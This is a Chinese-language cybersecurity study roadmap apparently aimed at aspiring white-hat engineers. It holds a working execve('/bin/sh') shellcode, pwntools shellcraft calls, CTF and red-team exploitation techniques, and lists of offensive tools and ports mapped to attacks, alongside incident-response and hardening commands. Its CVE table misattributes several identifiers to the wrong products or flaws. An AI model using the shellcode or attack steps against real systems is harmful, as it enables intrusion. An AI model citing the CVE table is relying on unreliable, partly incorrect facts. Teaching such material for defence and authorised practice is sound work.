# NX: enabled → 不能在栈上执行代码,需要 ROP
# Canary: found → 需要泄露 Canary
# PIE: enabled → 需要泄露程序基址
# RELRO: Full → GOT 不可写
Shellcode 编写
# 32 位 Linux execve("/bin/sh") shellcode
shellcode = (
b"\x31\xc0\x50\x68\x2f\x2f\x73\x68" # xor eax,eax; push "//sh"
b"\x68\x2f\x62\x69\x6e\x89\xe3\x50" # push "/bin"; mov ebx,esp; push eax
b"\x53\x89\xe1\x31\xd2\xb0\x0b\xcd" # push ebx; mov ecx,esp; xor edx,edx
b"\x80" # mov al,11; int 0x80
)
# pwntools 自动生成
from pwn import
context.arch = 'amd64'
shellcode = asm(shellcraft.sh()) # 64 位 shellcode
shellcode = asm(shellcraft.execve('/bin/sh', 0, 0))
| 设备 | 全称 | 作用 | 关键原理 |
|---|---|---|---|
| FW | 防火墙 Firewall | 网络边界访问控制 | 五元组规则(源IP/目的IP/端口/协议/动作) |
| WAF | Web 应用防火墙 | 防护 Web 攻击 | 规则引擎匹配 SQL注入/XSS/RCE 等特征 |
| IDS | 入侵检测系统 | 旁路检测告警 | 特征库匹配 + 异常行为分析,只告警不阻断 |
| IPS | 入侵防御系统 | 串联阻断攻击 | 在 IDS 基础上增加实时阻断能力 |
| EDR | 终端检测响应 | 主机威胁检测 | 进程行为分析、文件溯源、自动隔离 |
| 堡垒机 | 运维安全审计 | 运维操作管控 | 身份认证+操作录制+权限控制+审计 |
| 日志审计 | SIEM/SOC | 集中日志分析 | 多源日志采集+关联分析+告警 |
等保 2.0 是中国网络安全的基本制度,所有政企信息系统必须按等级进行安全建设和测评。
等级划分
| 等级 | 对象 | 要求 |
|---|---|---|
| 第一级 | 一般系统 | 自主保护级 |
| 第二级 | 一般企业系统 | 指导保护级,需备案 |
| 第三级 | 重要业务系统(最常见) | 监督保护级,每年测评一次 |
| 第四级 | 核心关键系统 | 强制保护级,半年测评一次 |
| 第五级 | 特殊系统 | 专控保护级 |
三级等保核心要求
- 物理安全:机房门禁、温湿度控制、防雷防火
- 网络安全:边界防护、访问控制、入侵防范、恶意代码检测
- 主机安全:身份鉴别、访问控制、安全审计、入侵防范、恶意代码防范
- 应用安全:身份认证、通信加密、软件容错
- 数据安全:数据完整性、保密性、备份恢复
- 安全管理:管理制度、人员管理、建设管理、运维管理
- 日志留存:≥ 6 个月网络日志留存
- 应急预案:安全事件应急响应预案
服务器被入侵、中勒索病毒、数据泄露后的排查流程。应急响应是安全运维的核心技能。
应急响应六步法 (PICERL)
| 步骤 | 内容 | 关键操作 |
|---|---|---|
| P 准备 | 日常准备 | 建立应急团队、工具包、联系人清单、演练 |
| I 发现 | 检测确认 | 告警分析、异常检测、初步研判 |
| C 抑制 | 控制扩散 | 隔离主机、封禁 IP、停服务、断网 |
| E 根除 | 清除威胁 | 杀恶意进程、删后门、修漏洞 |
| R 恢复 | 业务恢复 | 清干净后恢复服务、验证安全性 |
| L 总结 | 复盘加固 | 写报告、分析原因、加固整改 |
常见应急场景排查
# Linux 入侵排查
last # 查看登录历史
grep "Accepted" /var/log/auth.log # 查看成功登录
cat ~/.bash_history # 查看命令历史
ps aux | grep -E "nc|bash|python" # 可疑进程
netstat -tunlp # 异常网络连接
crontab -l # 检查定时任务
cat /etc/rc.local # 检查自启动
find / -mtime -1 -type f # 查找最近1天修改的文件
strings 可疑文件 | grep -i "http" # 提取字符串找C2地址
# Windows 入侵排查
net user # 检查新增用户
net localgroup administrators # 检查新增管理员
tasklist /svc # 可疑进程
netstat -ano # 异常连接
schtasks /query /fo LIST /v # 检查计划任务
reg query "HKLM\...\Run" # 检查自启动
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4625} # 暴力破解痕迹
勒索病毒应急
- 立即隔离:断网但不要关机(内存中可能有解密密钥)
- 保留证据:不要删除加密文件和勒索信
- 识别类型:上传样本到
https://id-ransomware.malwarehunterteam.com识别 - 查找解密工具:检查
https://www.nomoreransom.org是否有解密器 - 排查入口:分析入侵途径(RDP爆破/钓鱼邮件/漏洞利用)
- 清除后门:排查并清除攻击者留下的后门
- 恢复数据:从备份恢复,无备份则等待解密工具
- 加固整改:修补漏洞、加强口令、启用 MFA
云安全核心知识
| 领域 | 要点 |
|---|---|
| 安全组 | 阿里云/腾讯云的虚拟防火墙,控制入站/出站规则 |
| OSS 对象存储 | Bucket 权限配置错误导致公开访问泄露数据 |
| 容器安全 | Docker 容器逃逸、K8s RBAC 配置、Pod 安全策略 |
| 云主机基线 | 密码策略、端口管理、SSH 加固、日志配置 |
| IAM 权限 | 最小权限原则、角色分离、AccessKey 管理 |
| 云 WAF | 云上 Web 应用防火墙配置与规则调优 |
Linux 服务器安全加固
# 1. SSH 加固
vi /etc/ssh/sshd_config
PermitRootLogin no # 禁止 root 直接 SSH
PasswordAuthentication no # 禁止密码登录,只允许密钥
Port 22222 # 修改默认端口
MaxAuthTries 3 # 限制认证次数
AllowUsers user1 user2 # 限制可登录用户
systemctl restart sshd
# 2. 密码策略
vi /etc/login.defs
PASS_MAX_DAYS 90 # 密码最大有效期
PASS_MIN_DAYS 7 # 密码最短使用天数
PASS_MIN_LEN 12 # 最小密码长度
vi /etc/pam.d/system-auth
password requisite pam_cracklib.so try_first_pass retry=3 dcredit=1 ucredit=1 ocredit=1 lcredit=1
# 3. 文件权限加固
chmod 600 /etc/ssh/sshd_config
chmod 644 /etc/passwd
chmod 000 /etc/issue
chattr +i /etc/passwd /etc/shadow /etc/group /etc/gshadow # 不可变属性
# 4. 禁用不必要的服务
systemctl disable telnet.socket
systemctl disable rsh.socket
systemctl disable rpcbind
# 5. 防火墙配置
firewall-cmd --permanent --add-rich-rule="rule service name=ssh limit value=3/min accept"
firewall-cmd --permanent --add-service=https
firewall-cmd --permanent --set-default-zone=drop
firewall-cmd --reload
# 6. 审计日志
auditctl -w /etc/passwd -p wa -k user_modify
auditctl -w /var/log/ -p wa -k log_access
Windows 服务器安全加固
# 1. 账户策略
secedit /export /cfg policy.cfg # 导出安全策略
# 密码长度 ≥12, 复杂性开启, 最长有效期 90 天
# 账户锁定: 5次错误后锁定 30 分钟
# 2. 关闭危险端口
netsh advfirewall firewall add rule name="Block135" dir=in action=block protocol=TCP localport=135
netsh advfirewall firewall add rule name="Block445" dir=in action=block protocol=TCP localport=445
netsh advfirewall firewall add rule name="Block3389" dir=in action=block protocol=TCP localport=3389
# 3. 禁用危险服务
sc config RemoteRegistry start= disabled
sc config Telnet start= disabled
sc config WebClient start= disabled
# 4. 开启审计
auditpol /set /category:* /success:enable /failure:enable
# 5. RDP 加固
# 网络级身份验证(NLA)、限制可登录用户
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 1 /f
SOC/SIEM 架构
| 层级 | 功能 | 典型组件 |
|---|---|---|
| 数据采集 | 收集各类日志/流量数据 | Syslog, Filebeat, Winlogbeat, Packetbeat |
| 数据处理 | 解析、过滤、标准化、富化 | Logstash, Fluentd, Vector |
| 数据存储 | 海量日志高效查询 | Elasticsearch, Splunk, ClickHouse |
| 分析引擎 | 规则匹配、关联分析、异常检测 | Sigma规则, UEBA, MITRE ATT&CK |
| 告警展示 | 告警面板、可视化大屏 | Kibana, Grafana, 自研平台 |
| 响应编排 | 自动化响应 | SOAR, Phantom, CronJob |
告警研判流程(蓝队核心技能)
# 告警研判五步法
1. 确认告警类型 → SQL注入?爆破?WebShell上传?
2. 分析攻击源 IP → 归属、历史恶意行为、是否扫描器
3. 分析目标资产 → 是否核心系统、是否已沦陷
4. 评估攻击结果 → 成功?失败?误报?
5. 处置响应 → 封IP?封账号?隔离主机?提交报告?
# 常见告警类型及研判要点
# SQL注入:检查响应码、响应长度、WAF是否拦截、数据库是否有异常查询
# XSS:检查payload是否到达前端、是否触发执行、是否带cookie外传
# 暴力破解:检查失败次数、频率、来源IP、是否最终成功
# WebShell上传:检查文件名、文件内容特征、访问频率、是否命令执行
# 异常外连:检查目的IP、端口、协议、是否C2地址、是否有数据外传
常用威胁情报
| 题型 | 内容 | 核心技能 | 推荐练习 |
|---|---|---|---|
| Web | 注入、上传、反序列化、SSTI | Web 漏洞原理 + 绕过技巧 | Bugku, 攻防世界, CTFSHOW |
| Pwn | 二进制溢出利用 | 汇编 + 栈溢出 + ROP + 格式化字符串 | pwnable.kr, pwntools |
| Reverse | 逆向脱壳、算法解密 | 反汇编 + 反编译 + 算法还原 | crackme.one, Reversing.kr |
| Crypto | 密码学攻击 | RSA/AES/DES/MD5/哈希碰撞 | CryptoHack, RSA-CTF-Tool |
| Misc | 杂项 | 隐写术、流量分析、磁盘取证、OSINT | Misc 综合题库 |
# CTF 常用工具
# Web: Burp Suite, sqlmap, dirsearch, tplmap
# Pwn: pwntools, gdb-pwndbg, ROPgadget, one_gadget
# Reverse: IDA Pro, x64dbg, Ghidra, z3-solver
# Crypto: SageMath, RSA-Tool, CyberChef, hashcat
# Misc: Wireshark, stegsolve, binwalk, foremost, Audacity
# Misc 隐写常用命令
binwalk image.png # 检查文件中隐藏内容
foremost -i image.png # 提取隐藏文件
steghide extract -sf image.jpg # 提取隐写数据
strings file | grep flag # 搜索 flag 字符串
exiftool image.jpg # 查看元数据
| 角色 | 职责 | 核心技能 |
|---|---|---|
| 红队(攻击方) | 外网打点→内网渗透→拿下核心服务器 | 0day利用、社工钓鱼、免杀、内网横向 |
| 蓝队(防守方) | 流量监控→告警研判→漏洞封堵→溯源反制 | 流量分析、日志审计、应急响应、溯源画像 |
红队攻击链
# 典型红队攻击路径
1. 信息收集 → 子域名、端口、指纹、人员信息
2. 外网打点 → 0day/Nday漏洞利用、钓鱼邮件、社工
3. 获取权限 → WebShell / 反弹 Shell
4. 内网渗透 → 提权、凭证抓取、横向移动
5. 目标达成 → 拿下核心系统、获取 flag
6. 权限维持 → 后门、隧道、隐藏账号
7. 痕迹清理 → 清日志、删文件
蓝队监控与研判
- 流量监控:全流量分析设备 (NTA)、IDS/IPS 告警
- 告警研判:区分误报与真实攻击,分析攻击链
- 漏洞封堵:WAF 规则、IPS 规则、热补丁
- 溯源反制:分析攻击 IP、攻击者画像、反制
Web 题常见考点
| 考点 | 关键词 | 常用方法 |
|---|---|---|
| SQL注入 | 过滤、WAF、异或、盲注 | 绕过、二次注入、列名猜测 |
| 反序列化 | PHP/Java/Python | POP链构造、Gadget链利用 |
| SSTI | 模板注入 | 沙箱逃逸、类继承链 |
| SSRF | 内网访问、gopher协议 | 打Redis、FPM、MySQL |
| 文件上传/包含 | 绕过、phar | phar反序列化、条件竞争 |
| 命令注入 | 过滤、绕过 | 通配符绕过、编码绕过 |
| XSS | csp、过滤 | CSP绕过、DOM Clobbering |
| JWT | 令牌伪造 | none算法、密钥爆破、JWK注入 |
Pwn 题常用技巧
# 1. 基本栈溢出 → ret2text
# 找溢出偏移量 → 覆盖返回地址 → 跳到后门函数
# 2. ret2libc / ret2plt
# 泄露 libc 地址 → 计算 system 和 /bin/sh 偏移 → 构造 payload
# 3. 格式化字符串漏洞
# 泄露栈/canary/PIE → 任意地址写 → 劫持 GOT 或返回地址
# 4. 堆利用
# Fastbin Attack → 伪造堆块 → 任意地址写
# Tcache Poisoning (glibc 2.27+) → 篡改 tcache 链表
# House of Spirit → 伪造 free chunk → 分配到任意地址
# House of Force → 覆盖 top chunk size → 分配到任意地址
# 5. 静态/动态链接
# 静态链接 → ROPgadget 多 → 直接 syscall
# 动态链接 → ret2libc → 需泄露 libc 版本
Reverse 题常用技巧
# 1. 找关键函数 → 看 main → 找 check/encrypt/verify
# 2. 算法识别 → 常见加密(XOR/RC4/AES/TEA/Base64)
# 3. 动态调试 → 在比较处下断 → 回溯算法
# 4. 修补程序 → 直接 patch 跳转指令 → 暴力过验证
# 5. 常见反调试 → IsDebuggerPresent → patch 或 hook
# Crypto 常见考点
# RSA: 共模攻击、低指数攻击、Wiener、Coppersmith
# AES: ECB/CTR 模式攻击、Padding Oracle
# LFSR: 已知明文还原
# 椭圆曲线: Pohlig-Hellman、Smart's Attack
# Misc 常见考点
# 隐写: LSB、文件结构、频域隐写
# 流量: HTTP文件提取、USB键盘流量、蓝牙
# 取证: 内存(Volatility)、磁盘(Autopsy)、注册表
# 编码: Base全系列、Malbolge、Brainfuck
CTF 工具速查表
蓝队工作流程
# HW 护网蓝队日常
1. 值班监控 → 实时关注告警面板
2. 告警研判 → 真实攻击?误报?低危扫描?
3. 事件上报 → 发现真实攻击,5分钟内上报
4. 应急处置 → 封IP、停服务、隔离主机
5. 溯源分析 → 分析攻击者身份、路径、手法
6. 复盘总结 → 优化规则、加固防御
溯源反制技术
| 方向 | 方法 | 工具/途径 |
|---|---|---|
| IP 归属 | 查 IP 地理位置、ASN、运营商 | ipinfo.io, Whois |
| 历史行为 | 查 IP 历史攻击记录 | 微步在线, AbuseIPDB |
| 社工反制 | 诱导攻击者访问带探针页面 | 自定义 404 页面、蜜罐 |
| 浏览器指纹 | 获取攻击者浏览器/插件指纹 | JS 探针 |
| 位置定位 | 攻击者加载图片获取 GPS | 图片定位 API |
| 设备信息 | Wi-Fi/蓝牙 MAC 地址 | 浏览器 API |
| 蜜罐取证 | 记录攻击者操作行为 | T-Pot, HFish |
常见误报排除
| 误报场景 | 特征 | 排除方法 |
|---|---|---|
| 漏洞扫描器 | 大量 404、固定 UA、高频请求 | 检查 UA 和频率 |
| 安全审计 | 已知扫描器 IP、授权范围内 | 确认是否授权扫描 |
| CDN 回源 | 来源 IP 为 CDN 节点 | 查看 X-Forwarded-For |
| 搜索引擎爬虫 | Googlebot/Baiduspider UA | 验证 IP 归属 |
| 业务正常请求 | 参数中包含 SQL 关键字但非注入 | 分析参数上下文 |
日常:漏洞挖掘、安全评估、渗透报告编写、漏洞修复复测
易入门需求大
大型政企域环境渗透、免杀远控、多层内网横向移动
高薪护网核心
病毒分析、软件逆向、漏洞挖掘、漏洞研究员
高门槛天花板高
安全设备运维、等级保护测评、安全加固、应急响应
稳定需求持续
自研扫描器、WAF 规则开发、安全检测平台、Python/Go 工具
复合型稀缺
PLC 设备、摄像头、智能设备漏洞挖掘
蓝海新兴
薪资参考(一线城市,仅供参考)
| 方向 | 初级(0-2年) | 中级(2-5年) | 高级(5年+) |
|---|---|---|---|
| Web 渗透测试 | 8-15K | 15-30K | 30-50K |
| 内网红队 | 12-20K | 20-40K | 40-60K+ |
| 逆向/漏洞研究 | 15-25K | 25-50K | 50-80K+ |
| 安全运维 | 8-12K | 12-25K | 25-40K |
| 安全开发 | 12-20K | 20-40K | 40-60K |
注:薪资因城市、公司、个人能力差异较大,护网期间红队日薪可达 3K-10K/天。
高频面试题
# Web 渗透方向
Q: SQL注入原理?防御方法?
A: 用户输入拼接到SQL语句中,可执行非预期操作。
防御:参数化查询、ORM、WAF、最小权限原则、输入过滤。
Q: XSS 三种类型区别?如何防御?
A: 反射型(URL触发)、存储型(存DB)、DOM型(前端JS)。
防御:输出编码、CSP策略、HttpOnly Cookie。
Q: CSRF 和 XSS 的区别?
A: CSRF 利用用户已登录身份发起请求,不需要注入代码;
XSS 是注入恶意代码在受害者浏览器执行。
CSRF防御: Token、SameSite Cookie、Referer。
Q: 文件上传漏洞如何绕过?
A: MIME绕过、后缀绕过(.php5/.phtml/.PhP)、.htaccess、
解析漏洞、条件竞争、图片马。
Q: SSRF 如何利用?防御方法?
A: 探测内网、读取文件、攻击内网服务(Redis/FPM)。
防御: 白名单、禁用file/gopher协议、内网隔离。
# 内网渗透方向
Q: 黄金票据和白银票据区别?
A: 黄金: 用krbtgt哈希伪造TGT,可访问所有服务,但需要域控权限。
白银: 用服务账户哈希伪造TGS,只访问特定服务,不需要域控权限。
Q: Mimikatz 能抓取哪些凭证?
A: 明文密码(WDigest)、NTLM哈希、Kerberos票据、LSA secrets。
Q: 域内如何查找域管?
A: net group "domain admins" /domain
BloodHound分析最短攻击路径
PowerView: Get-NetGroupMember -GroupName "Domain Admins"
# 应急响应方向
Q: 服务器被入侵了怎么办?
A: 1.隔离但不要关机 2.保留证据 3.排查入口
4.清除后门 5.修复漏洞 6.恢复业务 7.复盘加固
Q: 如何判断是勒索病毒?
A: 文件被加密且扩展名改变、存在勒索信、
上传样本到 id-ransomware.malwarehunterteam.com 识别。
个人能力建设建议
| 方向 | 技术能力 | 加分项 |
|---|---|---|
| Web 渗透 | OWASP Top10 原理+复现、Burp 熟练、SRC 漏洞挖掘 | 自研扫描器、CVE 复现、CNVD/补天证书 |
| 内网红队 | 域渗透全流程、CS 熟练、免杀能力 | 护网经验、0day挖掘、APT复现 |
| 逆向分析 | 汇编、PE/ELF、脱壳、漏洞利用 | CTF Pwn/Re 成绩、CVE挖掘 |
| 安全运维 | 等保2.0、设备运维、应急响应 | CISSP/CISP、SOC建设经验 |
| 安全开发 | Python/Go、扫描器开发、SDLC | GitHub开源项目、DevSecOps |
求职渠道
| 证书 | 方向 | 含金量 | 说明 |
|---|---|---|---|
| CEH | 渗透入门 | ⭐⭐⭐ | 注册道德黑客,EC-Council 认证,国际认可的入门渗透证书 |
| CISP-PTE | 渗透测试 | ⭐⭐⭐⭐ | 注册渗透测试工程师,国内企业认可度高,实操考试 |
| OSCP | 渗透高阶 | ⭐⭐⭐⭐⭐ | 渗透测试天花板证书,OffSecurity 认证,24 小时实操考试,含金量最高 |
| CISSP | 安全管理 | ⭐⭐⭐⭐⭐ | 信息安全管理体系,管理层证书,需 5 年工作经验 |
| ACP 安全 | 云安全 | ⭐⭐⭐ | 阿里云安全认证,云安全方向加分 |
| 腾讯云安全认证 | 云安全 | ⭐⭐⭐ | 腾讯云安全工程师认证 |
| CISP | 综合安全 | ⭐⭐⭐⭐ | 注册信息安全专业人员,国企/政企常要求 |
| CISP-IRE | 应急响应 | ⭐⭐⭐⭐ | 注册应急响应工程师,国内认可 |
OSCP 备考详解(渗透天花板)
| 阶段 | 内容 | 建议时间 |
|---|---|---|
| PEN-200 课程 | 官方教材,涵盖渗透全流程 | 2-3 个月 |
| HTB 靶机练习 | 至少完成 50 台 HTB 机器 | 持续 |
| Proving Grounds | OffSec 官方练习平台 | 1-2 个月 |
| 模拟考试 | 5 小时内完成 3 台机器 | 考前 2 周 |
| 报告练习 | 练习写专业渗透报告 | 考前 1 周 |
# OSCP 备考核心技能
# 1. 信息收集: nmap 全端口 + 服务枚举
# 2. Web: 手动 SQL注入、文件上传、LFI
# 3. 提权: Linux SUID/sudo/cron + Windows 服务提权
# 4. Buffer Overflow: 栈溢出 + 找 EIP + 写 exploit
# 5. 报告: 专业渗透测试报告
# 考试策略
# 先做 BoF 题(确定性高)→ Web 题提权链 → 查看 AD 题目标
# 保留截图证据,边做边记录
CISP-PTE 备考详解
| 项目 | 说明 |
|---|---|
| 考试形式 | 100% 实操(机考),2.5 小时 |
| 考试内容 | SQL注入、文件上传、XSS、命令执行、提权等实操题 |
| 难度 | 中等,适合有一定 Web 渗透基础的同学 |
| 备考 | 官方培训 5 天 + DVWA/SQLi-Labs 刷题 |
| 证书有效期 | 3 年,需继续教育维持 |
CEH 备考详解
| 项目 | 说明 |
|---|---|
| 考试形式 | 选择题 125 题,4 小时 |
| 考试内容 | 渗透测试流程、工具知识、漏洞原理(偏理论) |
| 难度 | 较低,适合入门,偏重知识面 |
| 前置条件 | 需 EC-Council 官方培训(或申请免培训) |
| 实操考试 | CEH Practical(6 小时 20 项实操,可选) |
各证书学习资源
| 证书 | 官方资源 | 推荐补充 |
|---|---|---|
| OSCP | PEN-200 课程、Proving Grounds | HTB、IppSec YouTube、TJ Null |
| CISP-PTE | 官方教材+培训 | DVWA、SQLi-Labs、Pikachu |
| CEH | EC-Council iClass | CEH v12 考试大纲、Matt Walker 教材 |
| CISSP | ISC2 官方 CBK | Sybex 教程、Boson 模考 |
| CISSP | 需 5 年相关工作经验 | OSSG/CISSP Study Groups |
相关法律条文:
• 《刑法》第285条:非法侵入计算机信息系统罪(三年以下有期徒刑)
• 《刑法》第286条:破坏计算机信息系统罪(五年以上有期徒刑)
• 《网络安全法》第27条:任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动
1. 自己搭建的本地靶场(DVWA、Vulhub、VulnHub 等)
2. 官方练习平台(HackTheBox、TryHackMe、Bugku 等)
3. 授权攻防演练环境(HW 护网、企业授权渗透测试)
学习目标:白帽安全工程师,用技术做合规的安全防护与漏洞检测。
| 阶段 | 书名 | 说明 |
|---|---|---|
| 基础 | 《Python 黑帽子:黑客与渗透测试编程之道》 | Python 安全编程实战 |
| 基础 | 《Linux 基础教程》 | Linux 命令行入门 |
| 网络 | 《TCP/IP 详解 卷1》 | 网络协议圣经 |
| Web安全 | 《Web 安全深度剖析》 | 国内 Web 安全经典 |
| Web安全 | 《白帽子讲 Web 安全》 | 吴翰清著,阿里安全专家 |
| Web安全 | 《Web 前端黑客技术揭秘》 | 前端安全深入 |
| 渗透 | 《Metasploit 渗透测试指南》 | MSF 权威指南 |
| 内网 | 《内网安全攻防:渗透测试实战指南》 | 国内内网渗透圣经 |
| 内网 | 《红队网络渗透测试》 | 红队实战方法论 |
| 逆向 | 《逆向工程核心原理》 | 逆向入门经典 |
| 逆向 | 《C++ 反汇编与逆向分析技术揭秘》 | 逆向进阶 |
| 防御 | 《安全运维之道》 | 安全运维实战 |
| 应急 | 《应急响应技术与实战》 | 应急响应指南 |
| 分类 | 工具 | 用途 |
|---|---|---|
| 信息收集 | nmap | 端口扫描/服务识别 |
| masscan | 超快端口扫描 | |
| sublist3r / amass | 子域名枚举 | |
| Web 渗透 | burpsuite | Web 代理抓包改包 |
| sqlmap | SQL 注入自动化 | |
| dirsearch / gobuster | 目录扫描 | |
| 漏洞利用 | metasploit | 漏洞利用框架 |
| searchsploit | Exploit-DB 搜索 | |
| hydra / medusa | 密码爆破 | |
| 后渗透 | mimikatz | 凭证抓取 |
| cobalt strike | 远控/后渗透平台 | |
| 逆向分析 | ghidra | 反汇编/反编译 |
| gdb + pwndbg | 动态调试 | |
| binwalk | 固件分析/隐写提取 | |
| 流量分析 | wireshark | 图形化抓包分析 |
| tcpdump | 命令行抓包 | |
| 其他 | hashcat / john | 哈希破解 |
| responder | 内网中间人攻击 |
| CVE 编号 | 漏洞名称 | 类型 | 影响组件 | 利用难度 |
|---|---|---|---|---|
| CVE-2017-0144 | 永恒之蓝 EternalBlue | RCE | Windows SMBv1 | ⭐ (MSF一键) |
| CVE-2019-0708 | BlueKeep | RCE | Windows RDP | ⭐⭐ |
| CVE-2020-0796 | SMBGhost | RCE | Windows SMBv3 | ⭐⭐ |
| CVE-2021-44228 | Log4j2 | RCE | Apache Log4j | ⭐ (一行payload) |
| CVE-2021-26155 | Confluence OGNL注入 | RCE | Atlassian Confluence | ⭐⭐ |
| CVE-2022-22965 | Spring4Shell | RCE | Spring Framework | ⭐⭐ |
| CVE-2022-26134 | Confluence OGNL注入 | RCE | Atlassian Confluence | ⭐⭐ |
| CVE-2019-0232 | Tomcat AJP RCE | RCE | Apache Tomcat | ⭐⭐ |
| CVE-2020-13935 | Tomcat WebSocket 栈溢出 | RCE | Apache Tomcat | ⭐⭐⭐ |
| CVE-2017-12635 | Nexus Repository | 权限绕过 | Sonatype Nexus | ⭐ |
| CVE-2018-2894 | WebLogic SSRF | SSRF | Oracle WebLogic | ⭐⭐ |
| CVE-2020-14882 | WebLogic 后台RCE | RCE | Oracle WebLogic | ⭐ |
| CVE-2019-2725 | WebLogic 反序列化 | RCE | Oracle WebLogic | ⭐⭐ |
| CVE-2016-4437 | Shiro 反序列化 | RCE | Apache Shiro | ⭐⭐ |
| CVE-2020-13920 | Fastjson 反序列化 | RCE | Alibaba Fastjson | ⭐⭐ |
| CVE-2019-3398 | Confluence 路径穿越 | 文件写入 | Atlassian Confluence | ⭐⭐ |
| CVE-2018-7600 | Drupalgeddon2 | RCE | Drupal CMS | ⭐⭐ |
| CVE-2019-11043 | PHP-FPM RCE | RCE | PHP-FPM + Nginx | ⭐⭐ |
| CVE-2023-23397 | Outlook 提权漏洞 | 信息泄露 | Microsoft Outlook | ⭐⭐⭐ |
| CVE-2023-46604 | Apache ActiveMQ RCE | RCE | Apache ActiveMQ | ⭐⭐ |
| 端口 | 服务 | 安全关联 | 利用/爆破工具 |
|---|---|---|---|
| 21 | FTP | 匿名访问、爆破、后门命令执行 | Hydra, ftp-anon NSE |
| 22 | SSH | 密码爆破、密钥窃取、隧道 | Hydra, medusa |
| 23 | Telnet | 明文传输、爆破 | Hydra |
| 25 | SMTP | 邮件伪造、用户枚举 | smtp-user-enum |
| 53 | DNS | 区域传送、DNS劫持、隧道 | dig, dnsenum, dnscat2 |
| 80/443 | HTTP/HTTPS | Web 漏洞(全部) | Burp, sqlmap, nmap |
| 110 | POP3 | 邮件爆破 | Hydra |
| 135 | MSRPC | Windows 远程过程调用、WMI | impacket |
| 139/445 | SMB | 永恒之蓝、IPC$、空连接 | MSF, CrackMapExec |
| 1433 | MSSQL | SQL注入、xp_cmdshell RCE | sqlmap, sqsh |
| 1434 | MSSQL UDP | 数据库枚举 | — |
| 1521 | Oracle | TNS 利用、默认账户 | odat, nmap |
| 2049 | NFS | 未授权访问、no_root_squash | showmount, mount |
| 2375/2376 | Docker API | 未授权→容器逃逸 | curl |
| 3306 | MySQL | SQL注入、UDF提权、爆破 | sqlmap, Hydra |
| 3389 | RDP | BlueKeep、爆破、凭证抓取 | Hydra, MSF |
| 4848 | GlassFish | 后台漏洞 | — |
| 5432 | PostgreSQL | 默认账户、提权 | Hydra, psql |
| 5900 | VNC | 爆破、未授权访问 | Hydra |
| 5985/5986 | WinRM | 远程命令执行 | evil-winrm |
| 6379 | Redis | 未授权→写计划任务/SSH公钥/WebShell | redis-cli |
| 7001 | WebLogic | 反序列化、SSRF、后台RCE | MSF |
| 8080 | HTTP Alt | Tomcat/Jenkins/JBoss 后台 | Burp |
| 8443 | HTTPS Alt | Web 漏洞 | Burp |
| 9000 | PHP-FPM | FastCGI RCE | — |
| 9200/9300 | Elasticsearch | 未授权数据泄露、RCE | curl |
| 11211 | Memcached | 未授权数据泄露、DDoS放大 | telnet |
| 27017 | MongoDB | 未授权数据泄露 | mongo |
网络安全(白帽黑客)系统化学习路线 · 完整版
所有练习仅限本地靶场与授权环境 · 合法合规 · 白帽精神
勾选的进度会自动保存到本地,刷新不丢失